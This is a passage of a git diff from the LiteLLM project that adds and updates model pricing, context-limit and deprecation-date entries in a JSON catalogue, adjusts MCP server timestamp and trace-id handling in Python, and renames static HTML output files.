"supports_tool_choice": true, + "supports_function_calling": true }, "deepinfra/zai-org/GLM-4.5": { "max_tokens": 131072, @@ -11418,7 +11683,8 @@ "output_cost_per_token": 1.6e-06, "litellm_provider": "deepinfra", "mode": "chat", - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_function_calling": true }, "deepseek/deepseek-chat": { "cache_creation_input_token_cost": 0.0, @@ -11950,7 +12216,9 @@ "supports_pdf_input": true, "supports_prompt_caching": true, "supports_response_schema": true, - "supports_tool_choice": true + "supports_tool_choice": true, + "cache_read_input_token_cost": 2.5e-08, + "cache_creation_input_token_cost": 3.125e-07 }, "eu.anthropic.claude-haiku-4-5-20251001-v1:0": { "cache_creation_input_token_cost": 1.375e-06, @@ -11987,7 +12255,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3e-07, + "cache_creation_input_token_cost": 3.75e-06 }, "eu.anthropic.claude-3-5-sonnet-20241022-v2:0": { "input_cost_per_token": 3e-06, @@ -12004,7 +12274,9 @@ "supports_prompt_caching": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3e-07, + "cache_creation_input_token_cost": 3.75e-06 }, "eu.anthropic.claude-3-7-sonnet-20250219-v1:0": { "input_cost_per_token": 3e-06, @@ -12022,7 +12294,9 @@ "supports_reasoning": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3e-07, + "cache_creation_input_token_cost": 3.75e-06 }, "eu.anthropic.claude-3-haiku-20240307-v1:0": { "input_cost_per_token": 2.5e-07, @@ -12036,7 +12310,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 2.5e-08, + "cache_creation_input_token_cost": 3.125e-07 }, "eu.anthropic.claude-3-opus-20240229-v1:0": { "input_cost_per_token": 1.5e-05, @@ -12049,7 +12325,9 @@ "supports_function_calling": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 1.5e-06, + "cache_creation_input_token_cost": 1.875e-05 }, "eu.anthropic.claude-3-sonnet-20240229-v1:0": { "input_cost_per_token": 3e-06, @@ -12063,7 +12341,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3e-07, + "cache_creation_input_token_cost": 3.75e-06 }, "eu.anthropic.claude-opus-4-1-20250805-v1:0": { "cache_creation_input_token_cost": 1.875e-05, @@ -13590,7 +13870,7 @@ }, "gemini-2.0-flash": { "cache_read_input_token_cost": 2.5e-08, - "deprecation_date": "2026-03-31", + "deprecation_date": "2026-06-01", "input_cost_per_audio_token": 7e-07, "input_cost_per_token": 1e-07, "litellm_provider": "vertex_ai-language-models", @@ -13630,7 +13910,7 @@ }, "gemini-2.0-flash-001": { "cache_read_input_token_cost": 3.75e-08, - "deprecation_date": "2026-03-31", + "deprecation_date": "2026-06-01", "input_cost_per_audio_token": 1e-06, "input_cost_per_token": 1.5e-07, "litellm_provider": "vertex_ai-language-models", @@ -13716,7 +13996,7 @@ }, "gemini-2.0-flash-lite": { "cache_read_input_token_cost": 1.875e-08, - "deprecation_date": "2026-03-31", + "deprecation_date": "2026-06-01", "input_cost_per_audio_token": 7.5e-08, "input_cost_per_token": 7.5e-08, "litellm_provider": "vertex_ai-language-models", @@ -13752,7 +14032,7 @@ }, "gemini-2.0-flash-lite-001": { "cache_read_input_token_cost": 1.875e-08, - "deprecation_date": "2026-03-31", + "deprecation_date": "2026-06-01", "input_cost_per_audio_token": 7.5e-08, "input_cost_per_token": 7.5e-08, "litellm_provider": "vertex_ai-language-models", @@ -14226,6 +14506,57 @@ "supports_vision": true, "supports_web_search": true }, + "gemini-3.1-flash-lite-preview": { + "cache_read_input_token_cost": 2.5e-08, + "cache_read_input_token_cost_per_audio_token": 5e-08, + "input_cost_per_audio_token": 5e-07, + "input_cost_per_token": 2.5e-07, + "litellm_provider": "vertex_ai-language-models", + "max_audio_length_hours": 8.4, + "max_audio_per_prompt": 1, + "max_images_per_prompt": 3000, + "max_input_tokens": 1048576, + "max_output_tokens": 65536, + "max_pdf_size_mb": 30, + "max_tokens": 65536, + "max_video_length": 1, + "max_videos_per_prompt": 10, + "mode": "chat", + "output_cost_per_reasoning_token": 1.5e-06, + "output_cost_per_token": 1.5e-06, + "source": "https://ai.google.dev/gemini-api/docs/models", + "supported_endpoints": [ + "/v1/chat/completions", + "/v1/completions", + "/v1/batch" + ], + "supported_modalities": [ + "text", + "image", + "audio", + "video" + ], + "supported_output_modalities": [ + "text" + ], + "supports_audio_input": true, + "supports_audio_output": false, + "supports_code_execution": true, + "supports_file_search": true, + "supports_function_calling": true, + "supports_parallel_function_calling": true, + "supports_pdf_input": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_response_schema": true, + "supports_system_messages": true, + "supports_tool_choice": true, + "supports_url_context": true, + "supports_video_input": true, + "supports_vision": true, + "supports_web_search": true, + "supports_native_streaming": true + }, "deep-research-pro-preview-12-2025": { "input_cost_per_image": 0.0011, "input_cost_per_token": 2e-06, @@ -14669,6 +15000,7 @@ "supports_web_search": true }, "gemini-3-pro-preview": { + "deprecation_date": "2026-03-26", "cache_read_input_token_cost": 2e-07, "cache_read_input_token_cost_above_200k_tokens": 4e-07, "cache_creation_input_token_cost_above_200k_tokens": 2.5e-07, @@ -15805,7 +16137,7 @@ }, "gemini/gemini-2.0-flash": { "cache_read_input_token_cost": 2.5e-08, - "deprecation_date": "2026-03-31", + "deprecation_date": "2026-06-01", "input_cost_per_audio_token": 7e-07, "input_cost_per_token": 1e-07, "litellm_provider": "gemini", @@ -15846,7 +16178,7 @@ }, "gemini/gemini-2.0-flash-001": { "cache_read_input_token_cost": 2.5e-08, - "deprecation_date": "2026-03-31", + "deprecation_date": "2026-06-01", "input_cost_per_audio_token": 7e-07, "input_cost_per_token": 1e-07, "litellm_provider": "gemini", @@ -15934,7 +16266,7 @@ }, "gemini/gemini-2.0-flash-lite": { "cache_read_input_token_cost": 1.875e-08, - "deprecation_date": "2026-03-31", + "deprecation_date": "2026-06-01", "input_cost_per_audio_token": 7.5e-08, "input_cost_per_token": 7.5e-08, "litellm_provider": "gemini", @@ -15970,7 +16302,7 @@ "tpm": 4000000 }, "gemini/gemini-2.0-flash-lite-preview-02-05": { - "deprecation_date": "2025-12-02", + "deprecation_date": "2025-12-09", "cache_read_input_token_cost": 1.875e-08, "input_cost_per_audio_token": 7.5e-08, "input_cost_per_token": 7.5e-08, @@ -16925,6 +17257,7 @@ "tpm": 800000 }, "gemini/gemini-3-pro-preview": { + "deprecation_date": "2026-03-09", "cache_read_input_token_cost": 2e-07, "cache_read_input_token_cost_above_200k_tokens": 4e-07, "input_cost_per_token": 2e-06, @@ -16980,6 +17313,59 @@ "cache_read_input_token_cost_above_200k_tokens_priority": 7.2e-07, "supports_service_tier": true }, + "gemini/gemini-3.1-flash-lite-preview": { + "cache_read_input_token_cost": 2.5e-08, + "cache_read_input_token_cost_per_audio_token": 5e-08, + "input_cost_per_audio_token": 5e-07, + "input_cost_per_token": 2.5e-07, + "litellm_provider": "gemini", + "max_audio_length_hours": 8.4, + "max_audio_per_prompt": 1, + "max_images_per_prompt": 3000, + "max_input_tokens": 1048576, + "max_output_tokens": 65536, + "max_pdf_size_mb": 30, + "max_tokens": 65536, + "max_video_length": 1, + "max_videos_per_prompt": 10, + "mode": "chat", + "output_cost_per_reasoning_token": 1.5e-06, + "output_cost_per_token": 1.5e-06, + "rpm": 15, + "source": "https://ai.google.dev/gemini-api/docs/models", + "supported_endpoints": [ + "/v1/chat/completions", + "/v1/completions", + "/v1/batch" + ], + "supported_modalities": [ + "text", + "image", + "audio", + "video" + ], + "supported_output_modalities": [ + "text" + ], + "supports_audio_input": true, + "supports_audio_output": false, + "supports_code_execution": true, + "supports_file_search": true, + "supports_function_calling": true, + "supports_parallel_function_calling": true, + "supports_pdf_input": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_response_schema": true, + "supports_system_messages": true, + "supports_tool_choice": true, + "supports_url_context": true, + "supports_video_input": true, + "supports_vision": true, + "supports_web_search": true, + "supports_native_streaming": true, + "tpm": 250000 + }, "gemini/gemini-3-flash-preview": { "cache_read_input_token_cost": 5e-08, "input_cost_per_audio_token": 1e-06, @@ -20330,6 +20716,40 @@ "supports_tool_choice": true, "supports_vision": true }, + "gpt-5.3-chat-latest": { + "cache_read_input_token_cost": 1.75e-07, + "cache_read_input_token_cost_priority": 3.5e-07, + "input_cost_per_token": 1.75e-06, + "input_cost_per_token_priority": 3.5e-06, + "litellm_provider": "openai", + "max_input_tokens": 128000, + "max_output_tokens": 16384, + "max_tokens": 16384, + "mode": "chat", + "output_cost_per_token": 1.4e-05, + "output_cost_per_token_priority": 2.8e-05, + "supported_endpoints": [ + "/v1/chat/completions", + "/v1/responses" + ], + "supported_modalities": [ + "text", + "image" + ], + "supported_output_modalities": [ + "text" + ], + "supports_function_calling": true, + "supports_native_streaming": true, + "supports_parallel_function_calling": true, + "supports_pdf_input": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_response_schema": true, + "supports_system_messages": true, + "supports_tool_choice": true, + "supports_vision": true + }, "gpt-5.2-pro": { "input_cost_per_token": 2.1e-05, "litellm_provider": "openai", @@ -23112,6 +23532,21 @@ "supports_response_schema": true, "supports_tool_choice": true }, + "mistral/magistral-medium-1-2-2509": { + "input_cost_per_token": 2e-06, + "litellm_provider": "mistral", + "max_input_tokens": 40000, + "max_output_tokens": 40000, + "max_tokens": 40000, + "mode": "chat", + "output_cost_per_token": 5e-06, + "source": "https://mistral.ai/news/magistral", + "supports_assistant_prefill": true, + "supports_function_calling": true, + "supports_reasoning": true, + "supports_response_schema": true, + "supports_tool_choice": true + }, "mistral/mistral-ocr-latest": { "litellm_provider": "mistral", "ocr_cost_per_page": 0.001, @@ -23177,6 +23612,21 @@ "supports_response_schema": true, "supports_tool_choice": true }, + "mistral/magistral-small-1-2-2509": { + "input_cost_per_token": 5e-07, + "litellm_provider": "mistral", + "max_input_tokens": 40000, + "max_output_tokens": 40000, + "max_tokens": 40000, + "mode": "chat", + "output_cost_per_token": 1.5e-06, + "source": "https://mistral.ai/pricing#api-pricing", + "supports_assistant_prefill": true, + "supports_function_calling": true, + "supports_reasoning": true, + "supports_response_schema": true, + "supports_tool_choice": true + }, "mistral/mistral-embed": { "input_cost_per_token": 1e-07, "litellm_provider": "mistral", @@ -23238,24 +23688,41 @@ "supports_tool_choice": true }, "mistral/mistral-large-latest": { - "input_cost_per_token": 2e-06, + "input_cost_per_token": 5e-07, "litellm_provider": "mistral", - "max_input_tokens": 128000, - "max_output_tokens": 128000, - "max_tokens": 128000, + "max_input_tokens": 262144, + "max_output_tokens": 262144, + "max_tokens": 262144, "mode": "chat", - "output_cost_per_token": 6e-06, + "output_cost_per_token": 1.5e-06, + "source": "https://docs.mistral.ai/models/mistral-large-3-25-12", "supports_assistant_prefill": true, "supports_function_calling": true, "supports_response_schema": true, - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_vision": true }, "mistral/mistral-large-3": { "input_cost_per_token": 5e-07, "litellm_provider": "mistral", - "max_input_tokens": 256000, - "max_output_tokens": 8191, - "max_tokens": 8191, + "max_input_tokens": 262144, + "max_output_tokens": 262144, + "max_tokens": 262144, + "mode": "chat", + "output_cost_per_token": 1.5e-06, + "source": "https://docs.mistral.ai/models/mistral-large-3-25-12", + "supports_assistant_prefill": true, + "supports_function_calling": true, + "supports_response_schema": true, + "supports_tool_choice": true, + "supports_vision": true + }, + "mistral/mistral-large-2512": { + "input_cost_per_token": 5e-07, + "litellm_provider": "mistral", + "max_input_tokens": 262144, + "max_output_tokens": 262144, + "max_tokens": 262144, "mode": "chat", "output_cost_per_token": 1.5e-06, "source": "https://docs.mistral.ai/models/mistral-large-3-25-12", @@ -23306,14 +23773,30 @@ "input_cost_per_token": 4e-07, "litellm_provider": "mistral", "max_input_tokens": 131072, - "max_output_tokens": 8191, - "max_tokens": 8191, + "max_output_tokens": 131072, + "max_tokens": 131072, "mode": "chat", "output_cost_per_token": 2e-06, "supports_assistant_prefill": true, "supports_function_calling": true, "supports_response_schema": true, - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_vision": true + }, + "mistral/mistral-medium-3-1-2508": { + "input_cost_per_token": 4e-07, + "litellm_provider": "mistral", + "max_input_tokens": 131072, + "max_output_tokens": 131072, + "max_tokens": 131072, + "mode": "chat", + "output_cost_per_token": 2e-06, + "source": "https://mistral.ai/news/mistral-medium-3", + "supports_assistant_prefill": true, + "supports_function_calling": true, + "supports_response_schema": true, + "supports_tool_choice": true, + "supports_vision": true }, "mistral/mistral-small": { "input_cost_per_token": 1e-07, @@ -23329,17 +23812,79 @@ "supports_tool_choice": true }, "mistral/mistral-small-latest": { - "input_cost_per_token": 1e-07, + "input_cost_per_token": 6e-08, "litellm_provider": "mistral", - "max_input_tokens": 32000, - "max_output_tokens": 8191, - "max_tokens": 8191, + "max_input_tokens": 131072, + "max_output_tokens": 131072, + "max_tokens": 131072, "mode": "chat", - "output_cost_per_token": 3e-07, + "output_cost_per_token": 1.8e-07, + "source": "https://mistral.ai/pricing", "supports_assistant_prefill": true, "supports_function_calling": true, "supports_response_schema": true, - "supports_tool_choice": true + "supports_tool_choice": true, + "supports_vision": true + }, + "mistral/mistral-small-3-2-2506": { + "input_cost_per_token": 6e-08, + "litellm_provider": "mistral", + "max_input_tokens": 131072, + "max_output_tokens": 131072, + "max_tokens": 131072, + "mode": "chat", + "output_cost_per_token": 1.8e-07, + "source": "https://mistral.ai/pricing", + "supports_assistant_prefill": true, + "supports_function_calling": true, + "supports_response_schema": true, + "supports_tool_choice": true, + "supports_vision": true + }, + "mistral/ministral-3-3b-2512": { + "input_cost_per_token": 1e-07, + "litellm_provider": "mistral", + "max_input_tokens": 131072, + "max_output_tokens": 131072, + "max_tokens": 131072, + "mode": "chat", + "output_cost_per_token": 1e-07, + "source": "https://mistral.ai/pricing", + "supports_assistant_prefill": true, + "supports_function_calling": true, + "supports_response_schema": true, + "supports_tool_choice": true, + "supports_vision": true + }, + "mistral/ministral-3-8b-2512": { + "input_cost_per_token": 1.5e-07, + "litellm_provider": "mistral", + "max_input_tokens": 262144, + "max_output_tokens": 262144, + "max_tokens": 262144, + "mode": "chat", + "output_cost_per_token": 1.5e-07, + "source": "https://mistral.ai/pricing", + "supports_assistant_prefill": true, + "supports_function_calling": true, + "supports_response_schema": true, + "supports_tool_choice": true, + "supports_vision": true + }, + "mistral/ministral-3-14b-2512": { + "input_cost_per_token": 2e-07, + "litellm_provider": "mistral", + "max_input_tokens": 262144, + "max_output_tokens": 262144, + "max_tokens": 262144, + "mode": "chat", + "output_cost_per_token": 2e-07, + "source": "https://mistral.ai/pricing", + "supports_assistant_prefill": true, + "supports_function_calling": true, + "supports_response_schema": true, + "supports_tool_choice": true, + "supports_vision": true }, "mistral/mistral-tiny": { "input_cost_per_token": 2.5e-07, @@ -25467,6 +26012,30 @@ "supports_vision": true, "tool_use_system_prompt_tokens": 159 }, + "openrouter/anthropic/claude-sonnet-4.6": { + "cache_creation_input_token_cost": 3.75e-06, + "cache_creation_input_token_cost_above_200k_tokens": 7.5e-06, + "cache_read_input_token_cost": 3e-07, + "cache_read_input_token_cost_above_200k_tokens": 6e-07, + "input_cost_per_token": 3e-06, + "input_cost_per_token_above_200k_tokens": 6e-06, + "litellm_provider": "openrouter", + "max_input_tokens": 1000000, + "max_output_tokens": 128000, + "max_tokens": 128000, + "mode": "chat", + "output_cost_per_token": 1.5e-05, + "output_cost_per_token_above_200k_tokens": 2.25e-05, + "source": "https://openrouter.ai/anthropic/claude-sonnet-4.6", + "supports_assistant_prefill": true, + "supports_computer_use": true, + "supports_function_calling": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "supports_vision": true, + "tool_use_system_prompt_tokens": 159 + }, "openrouter/anthropic/claude-opus-4.5": { "cache_creation_input_token_cost": 6.25e-06, "cache_read_input_token_cost": 5e-07, @@ -25657,7 +26226,7 @@ "supports_tool_choice": true }, "openrouter/google/gemini-2.0-flash-001": { - "deprecation_date": "2026-03-31", + "deprecation_date": "2026-06-01", "input_cost_per_audio_token": 7e-07, "input_cost_per_token": 1e-07, "litellm_provider": "openrouter", @@ -25817,6 +26386,39 @@ "supports_web_search": true, "tpm": 800000 }, + "openrouter/google/gemini-3.1-pro-preview": { + "cache_read_input_token_cost": 2e-07, + "cache_read_input_token_cost_above_200k_tokens": 4e-07, + "cache_creation_input_token_cost_above_200k_tokens": 2.5e-07, + "input_cost_per_token": 2e-06, + "input_cost_per_token_above_200k_tokens": 4e-06, + "litellm_provider": "openrouter", + "max_input_tokens": 1048576, + "max_output_tokens": 65536, + "max_tokens": 65536, + "mode": "chat", + "output_cost_per_token": 1.2e-05, + "output_cost_per_token_above_200k_tokens": 1.8e-05, + "source": "https://openrouter.ai/google/gemini-3.1-pro-preview", + "supported_modalities": [ + "text", + "image", + "audio", + "video" + ], + "supported_output_modalities": [ + "text" + ], + "supports_audio_input": true, + "supports_function_calling": true, + "supports_pdf_input": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_response_schema": true, + "supports_system_messages": true, + "supports_tool_choice": true, + "supports_vision": true + }, "openrouter/gryphe/mythomax-l2-13b": { "input_cost_per_token": 1.875e-06, "litellm_provider": "openrouter", @@ -26194,6 +26796,29 @@ "supports_reasoning": true, "supports_tool_choice": true }, + "openrouter/openai/gpt-5.1-codex-max": { + "cache_read_input_token_cost": 1.25e-07, + "input_cost_per_token": 1.25e-06, + "litellm_provider": "openrouter", + "max_input_tokens": 400000, + "max_output_tokens": 128000, + "max_tokens": 128000, + "mode": "chat", + "output_cost_per_token": 1e-05, + "source": "https://openrouter.ai/openai/gpt-5.1-codex-max", + "supported_modalities": [ + "text", + "image" + ], + "supported_output_modalities": [ + "text" + ], + "supports_function_calling": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "supports_vision": true + }, "openrouter/openai/gpt-5.2": { "input_cost_per_image": 0, "cache_read_input_token_cost": 1.75e-07, @@ -26348,6 +26973,19 @@ "supports_tool_choice": true, "supports_function_calling": true }, + "openrouter/qwen/qwen3-coder-plus": { + "input_cost_per_token": 1e-06, + "litellm_provider": "openrouter", + "max_input_tokens": 997952, + "max_output_tokens": 65536, + "max_tokens": 65536, + "mode": "chat", + "output_cost_per_token": 5e-06, + "source": "https://openrouter.ai/qwen/qwen3-coder-plus", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true + }, "openrouter/qwen/qwen3-235b-a22b-2507": { "input_cost_per_token": 7.1e-08, "litellm_provider": "openrouter", @@ -26483,6 +27121,19 @@ "supports_vision": true, "supports_prompt_caching": false }, + "openrouter/z-ai/glm-5": { + "input_cost_per_token": 8e-07, + "litellm_provider": "openrouter", + "max_input_tokens": 202752, + "max_output_tokens": 128000, + "max_tokens": 128000, + "mode": "chat", + "output_cost_per_token": 2.56e-06, + "source": "https://openrouter.ai/z-ai/glm-5", + "supports_function_calling": true, + "supports_reasoning": true, + "supports_tool_choice": true + }, "openrouter/minimax/minimax-m2.1": { "input_cost_per_token": 2.7e-07, "output_cost_per_token": 1.2e-06, @@ -29397,6 +30048,18 @@ "supports_response_schema": true, "supports_tool_choice": true }, + "together_ai/Qwen/Qwen3.5-397B-A17B": { + "input_cost_per_token": 6e-07, + "litellm_provider": "together_ai", + "max_input_tokens": 262144, + "mode": "chat", + "output_cost_per_token": 3.6e-06, + "source": "https://www.together.ai/models/Qwen/Qwen3.5-397B-A17B", + "supports_function_calling": true, + "supports_parallel_function_calling": true, + "supports_response_schema": true, + "supports_tool_choice": true + }, "tts-1": { "input_cost_per_character": 1.5e-05, "litellm_provider": "openai", @@ -29554,7 +30217,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3e-07, + "cache_creation_input_token_cost": 3.75e-06 }, "us.anthropic.claude-3-5-sonnet-20241022-v2:0": { "cache_creation_input_token_cost": 3.75e-06, @@ -29607,7 +30272,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 2.5e-08, + "cache_creation_input_token_cost": 3.125e-07 }, "us.anthropic.claude-3-opus-20240229-v1:0": { "input_cost_per_token": 1.5e-05, @@ -29620,7 +30287,9 @@ "supports_function_calling": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 1.5e-06, + "cache_creation_input_token_cost": 1.875e-05 }, "us.anthropic.claude-3-sonnet-20240229-v1:0": { "input_cost_per_token": 3e-06, @@ -29634,7 +30303,9 @@ "supports_pdf_input": true, "supports_response_schema": true, "supports_tool_choice": true, - "supports_vision": true + "supports_vision": true, + "cache_read_input_token_cost": 3e-07, + "cache_creation_input_token_cost": 3.75e-06 }, "us.anthropic.claude-opus-4-1-20250805-v1:0": { "cache_creation_input_token_cost": 1.875e-05, @@ -30527,7 +31198,7 @@ "supports_tool_choice": true }, "vercel_ai_gateway/google/gemini-2.0-flash": { - "deprecation_date": "2026-03-31", + "deprecation_date": "2026-06-01", "input_cost_per_token": 1.5e-07, "litellm_provider": "vercel_ai_gateway", "max_input_tokens": 1048576, @@ -30541,7 +31212,7 @@ "supports_response_schema": true }, "vercel_ai_gateway/google/gemini-2.0-flash-lite": { - "deprecation_date": "2026-03-31", + "deprecation_date": "2026-06-01", "input_cost_per_token": 7.5e-08, "litellm_provider": "vercel_ai_gateway", "max_input_tokens": 1048576, @@ -32059,6 +32730,57 @@ "output_cost_per_token": 3e-06, "source": "https://cloud.google.com/vertex-ai/generative-ai/pricing#gemini-models" }, + "vertex_ai/gemini-3.1-flash-lite-preview": { + "cache_read_input_token_cost": 2.5e-08, + "cache_read_input_token_cost_per_audio_token": 5e-08, + "input_cost_per_audio_token": 5e-07, + "input_cost_per_token": 2.5e-07, + "litellm_provider": "vertex_ai-language-models", + "max_audio_length_hours": 8.4, + "max_audio_per_prompt": 1, + "max_images_per_prompt": 3000, + "max_input_tokens": 1048576, + "max_output_tokens": 65536, + "max_pdf_size_mb": 30, + "max_tokens": 65536, + "max_video_length": 1, + "max_videos_per_prompt": 10, + "mode": "chat", + "output_cost_per_reasoning_token": 1.5e-06, + "output_cost_per_token": 1.5e-06, + "source": "https://cloud.google.com/vertex-ai/generative-ai/pricing#gemini-models", + "supported_endpoints": [ + "/v1/chat/completions", + "/v1/completions", + "/v1/batch" + ], + "supported_modalities": [ + "text", + "image", + "audio", + "video" + ], + "supported_output_modalities": [ + "text" + ], + "supports_audio_input": true, + "supports_audio_output": false, + "supports_code_execution": true, + "supports_file_search": true, + "supports_function_calling": true, + "supports_parallel_function_calling": true, + "supports_pdf_input": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_response_schema": true, + "supports_system_messages": true, + "supports_tool_choice": true, + "supports_url_context": true, + "supports_video_input": true, + "supports_vision": true, + "supports_web_search": true, + "supports_native_streaming": true + }, "vertex_ai/deep-research-pro-preview-12-2025": { "input_cost_per_image": 0.0011, "input_cost_per_token": 2e-06, @@ -33917,6 +34639,36 @@ "supports_tool_choice": true, "source": "https://aws.amazon.com/bedrock/pricing/" }, + "zai/glm-5": { + "cache_creation_input_token_cost": 0, + "cache_read_input_token_cost": 2e-07, + "input_cost_per_token": 1e-06, + "output_cost_per_token": 3.2e-06, + "litellm_provider": "zai", + "max_input_tokens": 200000, + "max_output_tokens": 128000, + "mode": "chat", + "supports_function_calling": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "source": "https://docs.z.ai/guides/overview/pricing" + }, + "zai/glm-5-code": { + "cache_creation_input_token_cost": 0, + "cache_read_input_token_cost": 3e-07, + "input_cost_per_token": 1.2e-06, + "output_cost_per_token": 5e-06, + "litellm_provider": "zai", + "max_input_tokens": 200000, + "max_output_tokens": 128000, + "mode": "chat", + "supports_function_calling": true, + "supports_prompt_caching": true, + "supports_reasoning": true, + "supports_tool_choice": true, + "source": "https://docs.z.ai/guides/overview/pricing" + }, "zai/glm-4.7": { "cache_creation_input_token_cost": 0, "cache_read_input_token_cost": 1.1e-07, @@ -37898,7 +38650,7 @@ }, "gemini/gemini-2.0-flash-lite-001": { "cache_read_input_token_cost": 1.875e-08, - "deprecation_date": "2026-03-31", + "deprecation_date": "2026-06-01", "input_cost_per_audio_token": 7.5e-08, "input_cost_per_token": 7.5e-08, "litellm_provider": "gemini", diff --git a/litellm/proxy/_experimental/mcp_server/mcp_server_manager.py b/litellm/proxy/_experimental/mcp_server/mcp_server_manager.py index da29c7804a1..b7c013e9f20 100644 --- a/litellm/proxy/_experimental/mcp_server/mcp_server_manager.py +++ b/litellm/proxy/_experimental/mcp_server/mcp_server_manager.py @@ -642,6 +642,7 @@ class MCPServerManager: available_on_public_internet=bool( getattr(mcp_server, "available_on_public_internet", True) ), + created_at=getattr(mcp_server, "created_at", None), updated_at=getattr(mcp_server, "updated_at", None), ) return new_server @@ -2540,8 +2541,8 @@ class MCPServerManager: url=server.url, transport=server.transport, auth_type=server.auth_type, - created_at=datetime.now(), - updated_at=datetime.now(), + created_at=server.created_at, + updated_at=server.updated_at, teams=[], mcp_access_groups=server.access_groups or [], allowed_tools=server.allowed_tools or [], @@ -2620,8 +2621,6 @@ class MCPServerManager: return list_mcp_servers def _build_mcp_server_table(self, server: MCPServer) -> LiteLLM_MCPServerTable: - from datetime import datetime - return LiteLLM_MCPServerTable( server_id=server.server_id, server_name=server.server_name, @@ -2633,8 +2632,8 @@ class MCPServerManager: spec_path=server.spec_path, transport=server.transport, auth_type=server.auth_type, - created_at=datetime.now(), - updated_at=datetime.now(), + created_at=server.created_at, + updated_at=server.updated_at, teams=[], mcp_access_groups=server.access_groups or [], allowed_tools=server.allowed_tools or [], diff --git a/litellm/proxy/_experimental/mcp_server/server.py b/litellm/proxy/_experimental/mcp_server/server.py index 5b3d5bd60e2..cdb26acb658 100644 --- a/litellm/proxy/_experimental/mcp_server/server.py +++ b/litellm/proxy/_experimental/mcp_server/server.py @@ -5,7 +5,6 @@ LiteLLM MCP Server Routes import asyncio import contextlib - import traceback import uuid from datetime import datetime @@ -44,7 +43,10 @@ from litellm.proxy._experimental.mcp_server.utils import ( ) from litellm.proxy._types import UserAPIKeyAuth from litellm.proxy.auth.ip_address_utils import IPAddressUtils -from litellm.proxy.litellm_pre_call_utils import LiteLLMProxyRequestSetup +from litellm.proxy.litellm_pre_call_utils import ( + LiteLLMProxyRequestSetup, + get_chain_id_from_headers, +) from litellm.types.mcp import MCPAuth from litellm.types.mcp_server.mcp_server_manager import MCPInfo, MCPServer from litellm.types.utils import CallTypes, StandardLoggingMCPToolCall @@ -331,6 +333,11 @@ if MCP_AVAILABLE: try: # Create a body date for logging body_data = {"name": name, "arguments": arguments} + # Set trace/session id from raw_headers so spend logs and logging_obj stay consistent (same as A2A) + chain_id = get_chain_id_from_headers(raw_headers) + if chain_id: + body_data["litellm_trace_id"] = chain_id + body_data["litellm_session_id"] = chain_id request = Request( scope={ @@ -884,6 +891,10 @@ if MCP_AVAILABLE: # This is intentionally minimal: only async_success_handler / post_call_failure_hook rules_obj = Rules() list_tools_call_id = str(uuid.uuid4()) + # Derive trace_id from raw_headers when not explicitly passed (same as A2A / MCP call_tool) + effective_litellm_trace_id = litellm_trace_id or get_chain_id_from_headers( + raw_headers + ) spend_logs_metadata: Dict[str, Any] = { "mcp_operation": "list_tools", } @@ -896,7 +907,7 @@ if MCP_AVAILABLE: "model": "MCP: list_tools", "call_type": CallTypes.list_mcp_tools.value, "litellm_call_id": list_tools_call_id, - "litellm_trace_id": litellm_trace_id, + "litellm_trace_id": effective_litellm_trace_id, "metadata": { "spend_logs_metadata": spend_logs_metadata, }, diff --git a/litellm/proxy/_experimental/out/404.html b/litellm/proxy/_experimental/out/404/index.html similarity index 100% rename from litellm/proxy/_experimental/out/404.html rename to litellm/proxy/_experimental/out/404/index.html diff --git a/litellm/proxy/_experimental/out/_not-found.html b/litellm/proxy/_experimental/out/_not-found/index.html similarity index 100% rename from litellm/proxy/_experimental/out/_not-found.html rename to litellm/proxy/_experimental/out/_not-found/index.html diff --git a/litellm/proxy/_experimental/out/api-reference.html b/litellm/proxy/_experimental/out/api-reference/index.html similarity index 100% rename from litellm/proxy/_experimental/out/api-reference.html rename to litellm/proxy/_experimental/out/api-reference/index.html diff --git a/litellm/proxy/_experimental/out/experimental/api-playground.html b/litellm/proxy/_experimental/out/experimental/api-playground/index.html similarity index 100% rename from litellm/proxy/_experimental/out/experimental/api-playground.html rename to litellm/proxy/_experimental/out/experimental/api-playground/index.html diff --git a/litellm/proxy/_experimental/out/experimental/budgets.html b/litellm/proxy/_experimental/out/experimental/budgets/index.html similarity index 100% rename from litellm/proxy/_experimental/out/experimental/budgets.html rename to litellm/proxy/_experimental/out/experimental/budgets/index.html diff --git a/litellm/proxy/_experimental/out/experimental/caching.html b/litellm/proxy/_experimental/out/experimental/caching/index.html similarity index 100% rename from litellm/proxy/_experimental/out/experimental/caching.html rename to litellm/proxy/_experimental/out/experimental/caching/index.html diff --git a/litellm/proxy/_experimental/out/experimental/claude-code-plugins.html b/litellm/proxy/_experimental/out/experimental/claude-code-plugins/index.html similarity index 100% rename from litellm/proxy/_experimental/out/experimental/claude-code-plugins.html rename to 